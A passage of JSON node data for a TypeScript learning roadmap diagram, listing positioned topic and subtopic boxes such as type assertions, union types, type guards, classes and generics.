\"any\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 121,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 121,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 179.76672552017453,\n        \"y\": 606.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 121,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"I_ZPF1QaS4gvwNNBDzW8w\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 309.26672552017453,\n        \"y\": 511.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Bottom Types\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 122,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 309.26672552017453,\n        \"y\": 511.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 122,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"0pi9VTbngcAIswuu5LIYg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 309.26672552017453,\n        \"y\": 552.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"never\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 121,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 121,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 309.26672552017453,\n        \"y\": 552.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 121,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"AYoKlh6xTM5FgiK4h2HFp\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -87.95968546864998,\n        \"y\": 373.49287752857555\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Assertions\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 97,\n      \"height\": 36,\n      \"style\": {},\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -87.95968546864998,\n        \"y\": 373.49287752857555\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 97,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"pGFnTqi0-RSj0YRmNA5iy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -43.27273105499012,\n        \"y\": 464.4928775285755\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"as const\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 118,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 118,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -43.27273105499012,\n        \"y\": 464.4928775285755\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 118,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Ba0baUbomrW9td_K8U-5L\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -151.45968546864998,\n        \"y\": 411.4928775285755\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"as [type]\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -151.45968546864998,\n        \"y\": 411.4928775285755\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"afTNr36VqeXoJpHxm2IoS\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -153.45968546864998,\n        \"y\": 464.4928775285755\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"as any\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 106,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 106,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -153.45968546864998,\n        \"y\": 464.4928775285755\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 106,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mjaL5ocLnM8VQlhUxW6KU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -164.95968546864998,\n        \"y\": 533.3455260484365\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Non-null Assertion\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 251,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 251,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -164.95968546864998,\n        \"y\": 533.3455260484365\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 251,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HD1UGOidp7JGKdW6CEdQ_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -164.95968546864998,\n        \"y\": 586.3455260484365\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"satisfies keyword\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 251,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 251,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -164.95968546864998,\n        \"y\": 586.3455260484365\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 251,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"KUur-gfOBQodTS-irFet7\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -614.491140079766,\n        \"y\": 283.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Type Inference\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 251,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 251,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -614.491140079766,\n        \"y\": 283.7304293708296\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 251,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"alMJCEyUZ90xz-2_g3YRj\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -614.491140079766,\n        \"y\": 336.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Type Compatibility\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 251,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 251,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -614.491140079766,\n        \"y\": 336.7304293708296\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 251,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qefnsugcveizVq2TORRgn\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -614.491140079766,\n        \"y\": 692.0521049565081\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Combining Types\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 251,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 251,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -614.491140079766,\n        \"y\": 692.0521049565081\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 251,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5z5w3yv1HbOpMlzEd4Iot\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -455.0325701264904,\n        \"y\": 435.2806279375586\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Union Types\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 209,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 209\n      },\n      \"positionAbsolute\": {\n        \"x\": -455.0325701264904,\n        \"y\": 435.2806279375586\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 209,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RWYXEZMODUrqwRWf_Lqi9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -455.0325701264904,\n        \"y\": 488.2806279375586\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Intersection Types\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 209,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 209,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -455.0325701264904,\n        \"y\": 488.2806279375586\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 209,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"M_3O21zjppgWptIT5dtu8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -455.0325701264904,\n        \"y\": 541.2806279375586\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Type Aliases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 209,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 209\n      },\n      \"positionAbsolute\": {\n        \"x\": -455.0325701264904,\n        \"y\": 541.2806279375586\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 209,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"t1Tcesfq7bV2TkHcfD6lU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -455.0325701264904,\n        \"y\": 594.2806279375586\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"keyof Operator\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 209,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 209\n      },\n      \"positionAbsolute\": {\n        \"x\": -455.0325701264904,\n        \"y\": 594.2806279375586\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 209,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"cFZsxpYHDxm7IWwergb3r\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -614.491140079766,\n        \"y\": 778.4378434659828\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Type Guards / Narrowing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ib0jfZzukYOZ42AdJqt_W\"\n      },\n      \"zIndex\": 999,\n      \"width\": 251,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 251,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -614.491140079766,\n        \"y\": 778.4378434659828\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 251,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"EDOU5a7UK17yp3PdFBJMc\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -283.36352244605473,\n        \"y\": 671.1906788074556\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"instanceof\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 170,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 170\n      },\n      \"positionAbsolute\": {\n        \"x\": -283.36352244605473,\n        \"y\": 671.1906788074556\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 170,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZiOcFZy85p7tLzUkyKDei\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -283.36352244605473,\n        \"y\": 724.1906788074556\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"typeof\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 170,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 170\n      },\n      \"positionAbsolute\": {\n        \"x\": -283.36352244605473,\n        \"y\": 724.1906788074556\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 170,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Wy2yIK5vgLjEcc9VjuQK5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -283.36352244605473,\n        \"y\": 777.1906788074556\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Equality\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 170,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 170\n      },\n      \"positionAbsolute\": {\n        \"x\": -283.36352244605473,\n        \"y\": 777.1906788074556\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 170,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Xonbxc7MvMEonKBvbkCAH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -283.36352244605473,\n        \"y\": 830.1906788074556\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Truthiness\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 170,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 170\n      },\n      \"positionAbsolute\": {\n        \"x\": -283.36352244605473,\n        \"y\": 830.1906788074556\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 170,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1DOSAieOmWUNNsQQrqf2m\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -283.36352244605473,\n        \"y\": 883.1906788074556\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Type Predicates\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 170,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 170\n      },\n      \"positionAbsolute\": {\n        \"x\": -283.36352244605473,\n        \"y\": 883.1906788074556\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 170,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qOynVkDi1gFz0mxyJHjfJ\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -614.491140079766,\n        \"y\": 957.1906788074556\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"TypeScript Functions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ib0jfZzukYOZ42AdJqt_W\"\n      },\n      \"zIndex\": 999,\n      \"width\": 251,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 251,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -614.491140079766,\n        \"y\": 957.1906788074556\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 251,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9FIhHwDNzyKpb42NmSv3K\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -613.717302686211,\n        \"y\": 1036.8816252596685\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Typing Functions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 251,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 251,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -613.717302686211,\n        \"y\": 1036.8816252596685\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 251,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-0Zp6b8NjDyz9MAQE3HfS\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -613.717302686211,\n        \"y\": 1089.8816252596685\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Function Overloading\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 252,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 252,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -613.717302686211,\n        \"y\": 1089.8816252596685\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 252,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"aH1DxiG5xrdNlKutJ_gTz\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -69.77273105499006,\n        \"y\": 756.081447065701\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"TypeScript Interfaces\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ib0jfZzukYOZ42AdJqt_W\"\n      },\n      \"zIndex\": 999,\n      \"width\": 210,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 210,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -69.77273105499006,\n        \"y\": 756.081447065701\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 210,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"TxkEpoOiuUm-fXJuFVKcH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 232.64274386986392,\n        \"y\": 703.081447065701\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Types vs Interfaces\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 210,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 210,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 232.64274386986392,\n        \"y\": 703.081447065701\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 210,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"O-9WQqidujLIEOTcOfy4n\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 232.64274386986392,\n        \"y\": 756.081447065701\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Extending Interfaces\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 210,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 210,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 232.64274386986392,\n        \"y\": 756.081447065701\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 210,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fY40W8prpgiNqRL50w7ub\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 232.64274386986392,\n        \"y\": 809.081447065701\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Interface Declaration\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 210,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 210,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 232.64274386986392,\n        \"y\": 809.081447065701\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 210,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lvtTSHH9yBTCiLng8btnI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 232.64274386986392,\n        \"y\": 862.081447065701\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Hybrid Types\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 210,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 210,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 232.64274386986392,\n        \"y\": 862.081447065701\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 210,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ib0jfZzukYOZ42AdJqt_W\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 172.26672552017453,\n        \"y\": 977.8816252596685\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Classes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 132,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 132,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 172.26672552017453,\n        \"y\": 977.8816252596685\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 132,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3XrKbK5Od2eoM0BLaS4kU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 173.3414717224867,\n        \"y\": 1069.2460936406935\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Constructor Params\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 268,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 268,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 173.3414717224867,\n        \"y\": 1069.2460936406935\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 268,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"oxzcYXxy2I7GI7nbvFYVa\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 173.3414717224867,\n        \"y\": 1334.2460936406935\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Constructor Overloading\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 268,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 268,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 173.3414717224867,\n        \"y\": 1334.2460936406935\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 268,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RJ7on8WoxrKcXrR3qY5Rs\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 173.3414717224867,\n        \"y\": 1122.2460936406935\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Access Modifiers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 268,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 268,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 173.3414717224867,\n        \"y\": 1122.2460936406935\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 268,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tZFWeWHdOUJcCEtHfXH9p\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 173.3414717224867,\n        \"y\": 1175.2460936406935\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Abstract Classes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 268,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 268,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 173.3414717224867,\n        \"y\": 1175.2460936406935\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 268,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8P0-vb9nlnmz7iC4UvyJZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 173.3414717224867,\n        \"y\": 1228.2460936406935\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Inheritance vs Polymorphism\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 268,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 268,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 173.3414717224867,\n        \"y\": 1228.2460936406935\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 268,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"aknqutxN2WDQ4RFcT-szM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 173.3414717224867,\n        \"y\": 1281.2460936406935\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Method Overriding\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 268,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 268,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 173.3414717224867,\n        \"y\": 1281.2460936406935\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 268,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4gaKqNtGLFqpk9WVKZl0v\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -3.1585282775133123,\n        \"y\": 1089.8816252596685\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Generics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2F7vOL__v9dLBohA263aj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 132,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 132,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -3.1585282775133123,\n        \"y\": 1089.8816252596685\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 132,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"T2-VAVfntouJOoWHpHZ3n\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -280.00239646538284,\n        \"y\": 1065.2460936406935\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Generic Types\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 